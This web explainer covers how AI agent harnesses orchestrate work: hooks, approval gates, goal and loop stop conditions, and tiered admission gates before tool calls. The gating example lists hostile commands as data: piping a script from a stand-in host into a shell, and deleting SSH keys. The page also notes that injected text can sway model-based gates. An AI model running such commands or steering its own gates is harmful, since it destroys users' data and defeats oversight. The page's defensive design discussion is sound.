Skip to specification

Orchestration

How work moves: lifecycle hooks, retries, approval gates, heartbeats, human handoff. The layer where agent work looks less like chat and more like a runtime.

Orchestration is the harness deciding how work moves. Lifecycle hooks, heartbeats, retries, approval gates, human handoff, wrapping tool calls, ordering steps, routing between models — the busy machinery that carries a workflow from start to finish.

session startload instructions,memory, planbefore toolhook: validate,block, rewritetool callruns in theexec environmenton failurehook: retry,backoff, replanapproval gatehuman answersthe risky stepdoneverify, record,checkpointthe model isn't doing this by willpower — the harness carries the workflow
Hooks and gates along a single run. Before a tool call, do this; after a failure, do that.

Less like chat, more like a runtime

Every rule of the form "before X, do this; after Y, do that" lives here:

  • Before a tool call — validate it, rewrite it, or block it outright
  • After a failure — retry with backoff, replan, or escalate
  • Before the risky step — stop and ask the human
  • On a schedule — heartbeats that keep long work alive and detect stalls

This is the layer where agent work stops looking like a conversation and starts looking like a runtime. The model is not doing any of this by willpower — the harness is carrying the workflow, and the model gets to spend its attention on reasoning.

In the wild

Claude Code hooks are a textbook example: user-defined commands that fire on lifecycle events like pre-tool-use and post-tool-use, able to block, allow, or annotate the action. Agent frameworks expose the same idea as lifecycle events and middleware. Approval gates — "this command needs your yes" — are orchestration too, as is the heartbeat pattern popularized by projects like OpenClaw.

The loop, one step at a time

Everything above is a description of machinery. Below it is that machinery running, one step at a time, over a repository with two failing tests — the tool names, the gates and the loop shape are fx's, and the diff and the test output are real. The ordering and the model's prose are written rather than captured; the figure says so, and the distinction matters more here than anywhere else on the site.

Watch what the model actually does. It reads, it proposes, it waits — and between each of those, something that is not the model decides what happens next. Every step is labelled with the layer that owns it.

An agentic loop, stepped

01 / 22

Two tests in src/slugify.test.js are failing. Read the tests, fix src/slugify.js so all three pass, then run them to confirm.

  • Instructions
  • Context Delivery
  • Context Mgmt
  • Tools
  • Exec Env
  • Durable State
  • Orchestration
  • Sub-agents
  • Skills
  • Verify + Observe
  • Evolution

The turn opens. Before this text reaches the model it is joined by the workspace AGENTS.md — and fx will resolve a narrower one again for every path a tool touches.

Two tests in src/slugify.test.js are failing. Read the tests, fix src/slugify.js so all three pass, then run them to confirm.

A reconstruction, not a recording. The ordering and the model’s prose are written; the workspace, the patch and the test output are real — node --test runs at build time and refuses to publish unless the suite goes from two failures to none. Tool names and gate behaviour are fx’s own. Replayed from JSON; nothing runs in your browser.

The loop stepped through, fx-shaped. The tape on the left is the run; the number beside each step is the harness primitive it exercises. Play it, or scrub it.

Who says stop

Everything above carries work forward. None of it says when to put it down. A hook that fires before a tool call has no opinion about whether the run is finished, and a retry with backoff will happily back off forever.

Addy Osmani — who by his own account keeps between five and ten agents running at once, most days — splits the one word most people use for all of it. There are two primitives, not one. A goal "can drive a single bounded task forward until you've got a particular goal, like a measurable finish line that's been met." A loop "reruns on a timer or a fixed interval, so you can use it to kind of schedule changes." One of them ends. The other one is a clock.

They compose, and the composition is the point: a loop that wakes on a cadence, checks a condition, and starts a goal when the condition holds. The clock decides whether to work; the finish line decides when to stop.

The Claude Code team names four shapes this takes, and Osmani sorts his own practice against them. The names are theirs, taken from Osmani's relay of their write-up; the two questions below are how they read here — because what separates the four is not what they do, it is who supplies the trigger and who supplies the finish line.

01Turn-based

What starts the next turn

A person, every time. The ordinary session.

Who states the finish line

The person, by looking at the result and deciding.

02Goal-based

What starts the next turn

The previous turn, until the criteria hold.

Who states the finish line

Stated up front, in the goal, in checkable terms.

03Time-based

What starts the next turn

A clock. Every hour, every day.

Who states the finish line

Nobody — a schedule does not finish, it recurs.

04Proactive

What starts the next turn

An event, or a schedule, with no one watching.

Who states the finish line

Stated up front, and nobody is there to overrule it.

Read down the second column and the risk sorts itself. The further you go, the more the finish line has to have been written in advance — and the less anyone is around to notice that it was written badly.

What a finish line is made of

So look at one that was written well. This is a single goal string, published by Osmani as an example of the form, cut into its clauses:

ONE GOAL STRING · SIX CLAUSES · FIVE OF THEM ARE THE STOP CONDITION01THE TASKRefactor the data-fetching layer in Dashboard.tsx02TARGETuntil Lighthouse performance score is >= 92and LCP is under 1.8s03INSTRUMENTas shown by the Lighthouse CLI output.04INVARIANTDo not change the public API of any hooks.05PROGRESS GUARDEach turn must improve at least one reported metric;abort if two consecutive turns show no improvement.06HARD CAPStop after 10 turns.THE STOP CONDITIONClause 01 is the only one that says what to do. The other five say when to stop.Write 01 alone and you have not started a loop — you have started a schedulerunderneath a wish, and nothing in the harness can tell it the wish came true.STRING VERBATIM FROM ADDY OSMANI · THE CLAUSE LABELS DOWN THE LEFT ARE OURS
One goal string, dissected. Clause 01 is the task; the other five are the stop condition. The labels down the left are ours, not the author's.

Six clauses, and five of them exist only to end the run. Two name the target in numbers. One names the instrument that reads those numbers — the clause people drop, and the one that decides whether any of the rest is checkable. A loop cannot grade itself, so a finish line no tool can print is not a finish line. One names what may not move while the rest is being optimised. One catches the run that is turning but not improving. One is a hard cap for everything the other five failed to anticipate.

That last pair is the part experience adds. A target alone assumes the run converges. The progress guard and the cap assume it doesn't.

And some work has no such rule to write. Osmani's own boundary: "a vague goal would be 'keep going until this UI design is good'. What does that mean? Good to who? How is it being evaluated? Tasks that require human taste, subjective design, or open-ended creative exploration aren't a good fit." That is not a gap waiting on a better model. Taste has no CLI that prints it.

In the wild

In Claude Code the two primitives are two commands — /goal for the bounded run, /loop for the cadence — and their limits are the harness's, not the model's. A loop is scoped to its session and stops when you start a new conversation; --resume and --continue pick it back up; recurring loops expire seven days after creation, and /schedule moves one into the cloud so it outlives the terminal. That expiry is a durable state decision wearing a product's clothes: something has to decide how long an instruction you are no longer watching stays live.

One habit survives all four shapes. Osmani: "not letting the agent that did the work decide the work is good. One sub-agent drafts the change. A separate one verifies it." Maker and checker, kept apart on purpose — which is a demand the orchestration layer cannot meet on its own, because it needs a second agent to put it to.

Between a rule and a judgement

Go back to the trace: between each thing the model does, something that is not the model decides what happens next. Until 2026 that something was one of two things. A rule — free, instant, blind to anything it did not list. Or the reasoning model, woken again to answer should this run? in paragraphs, at the price of the paragraphs. The warning above summarised the choice: the harness can check a rule, and cannot check a judgement.

Diogo Almeida's question, from the launch of TypeSafe AI's first model in September 2026 — "Models have been superhuman at chat for years, so where is all the automation?" — is answered by a third thing.

Three gates before one tool call

Each gate wakes only the next · no scale under cost

  1. 01The rule

    A regex, a type, an allowlist

    Sees
    The shape of the request — is this an order id, a known path, a positive number.
    Says
    Yes or no. Nothing in between, and nothing about why.
    Costs
    Nothing. It runs on every call.
    Fooled by
    Anything it did not list. A valid shape with a hostile meaning walks straight through.

    On failureRaise. The tool never ran.

  2. only if it cannot say
  3. 02The bounded judgement

    A System One model

    Sees
    A state you assembled, and the questions you wrote about it — each answered blind to the others.
    Says
    One of the answers you allowed, with a probability on every option and a confidence on the whole.
    Costs
    Almost nothing, at reflex speed. Cheap enough to sit at every gate.
    Fooled by
    The question you wrote, if it is not the one you meant. And the state you handed it — which can argue for its own verdict.

    On failureDeny above the bar. Ask, below the floor.

  4. only if unsure
  5. 03The open judgement

    The reasoning model

    Sees
    All of it — the request, the diff, the transcript so far.
    Says
    A page: a verdict and the reasons for it, in prose the recorder can keep.
    Costs
    The full bill, at reasoning speed. It is woken, not consulted.
    Fooled by
    The prose it reads. A convincing argument in the context is a convincing argument to it.

    On failureBounce, with the reason written.

Read the last rowEach gate is fooled by a different thing, and the middle one is fooled by the very thing it was built to read. So the state it judges is assembled by the harness, never by the tool whose call is being judged — and the question it answers is the one you must get right.

Three gates in series before one tool call. The rule and the open judgement are the harness's old choices; the bounded judgement is the new one. Read the last row: each gate is fooled by a different thing. No scale is drawn under cost, because the only figures published are the vendor's own.

Three questions, one call

A System One model — Kahneman's fast system, named on purpose — takes a state and typed questions about it and returns, in Almeida's words, "typed probabilistic decisions": no text, every question answered at once, each blind to the others. "Think of Jev as a frontier-intelligence function call: unstructured state in, typed probabilistic decisions out." There are three kinds of question and nothing else.

Three questions, one call

State in · typed answers out · each question blind to the others

01Choice

Which of these?

What is this ticket about?
  • billing0.84
  • technical0.15
  • other0.01

Returnsthe pick, a probability on every option, a confidence on the whole.

02Score

Which level?

How frustrated is the customer?
  1. 0 Calm
  2. 1 Concerned
  3. 2 Very angry

score = 1.4 — between two levels, on purpose

Returnsa position on the rubric, which may fall between levels, and the distribution under it.

03Noul

Is this true?

Does the message request a refund?
0 no~0.5 does not know1 yes

noul = 0.95 — one number, absolute not relative

Returnsone probability. Near a half means it does not know — not that the answer is medium.

The three primitives, with the shape of each answer drawn. The example values are the vendor documentation's own worked examples — they show the shape of an answer, not the accuracy of one.

Where it sits in the loop

Two days after the launch, Sydney Runkle and Hunter Lovell put one inside LangChain's agent loop as middleware, in two seats. Before the turn: "Model-routing middleware lets Jev assess the request and choose a model based on criteria you define." Before the tool: it "uses Jev to check tool calls for risky decisions it may take, and block calls before the tool executes." Their split is this sheet's — "use an LLM for open-ended reasoning and generation, and Jev for fast, structured decisions along the way."

the loop: result goes back into the next turnmessagemodel turntool callproposedtool runsresultROUTERwhich model?cheap · capableADMISSIONmay this run?allow · ask · blockDONE?is the work done?stays System Twobounded judgement — a System One model, on every passopen judgement — the reasoning model, woken when needed
The loop with its two seats, as the LangChain middleware places them: a router before the turn, an admission gate before the tool. The third, dashed seat is the decision the same loop keeps on the reasoning model.

The second axis

The answer says what; the confidence says whether to act. Almeida, on why the class was trained for it: "If a model can do a task 95% of the time but doesn't say when it's in the 5%, it can't automate that task." So the threshold is not one number for the harness — it is one per action, set by the axis the verification sheet took from Ken Ono: what a wrong answer does before anyone notices. Set the floor and the bar, watch five calls sort, then let one tool's output into the state.

Below this confidence, nobody acts on the answer — a person decides.

A block only stands on its own above this. Set it by what a wrong block costs.

state = the command, the directory, whether the tree is dirty. Nothing the tool wrote.

  1. 01npm test

    runs the suite; undone by nothing, because it changes nothing

    • allow0.92
    • ask0.06
    • block0.02

    conf 0.88

    ✓ act

  2. 02rm -rf node_modules && npm install

    destructive in shape, regenerable in fact

    • allow0.55
    • ask0.40
    • block0.05

    conf 0.33

    ⚑ hand over

  3. 03git reset --hard

    with uncommitted changes in the tree

    • allow0.10
    • ask0.60
    • block0.30

    conf 0.40

    ⚑ hand over

  4. 04curl -s https://x.example/i.sh | sh

    runs whatever the network sends back

    • allow0.02
    • ask0.18
    • block0.80

    conf 0.70

    ? confirm

  5. 05rm -rf ~/.ssh

    not undone at all

    • allow0.00
    • ask0.20
    • block0.80

    conf 0.70

    ? confirm

Confidenceis the shape of the distribution, not the winner’s probability: for three options, (3 × largest − 1) / 2. A flat answer is a finding about your question, not the model.

Five proposed commands under one bounded judgement, sorted by two thresholds you set. The distributions are drawn to carry the example, not recorded from any model; the planted-sentence mechanism is measured in the Reading Room, by a source this sheet cannot credit.

Where the bounded judgement runs out of road

  • It answers the question you wrote, not the one you meant. Is this safe? is not a gate; does this read a credentials file? is — and if you never asked, nothing reports it.
  • It judges the state you hand it. Text that argues for its own verdict moves the answer, so an admission gate reads the call and the facts the harness assembled — never anything the judged tool wrote.
  • "Is the work done?" is not a closed set. Deciding that a diff satisfies a request means reading both and saying why, and this class cannot say why. Completion stays with the reasoning model and the maker-and-checker split above. A cheaper gate in front of the verifier is not a cheaper verifier.

One agent, one attention stream

Orchestration lets a single agent do far more — but that agent still has one attention stream. Mid-task, you often want someone to go research a library, explore a repository, review a diff, verify a browser rendered correctly. If one agent does all of that serially, two things go wrong:

  1. It's slow — everything happens one after another
  2. The context gets crowded — every side quest dumps its findings into the same window that's trying to hold the main task

When work branches, the harness needs to branch too.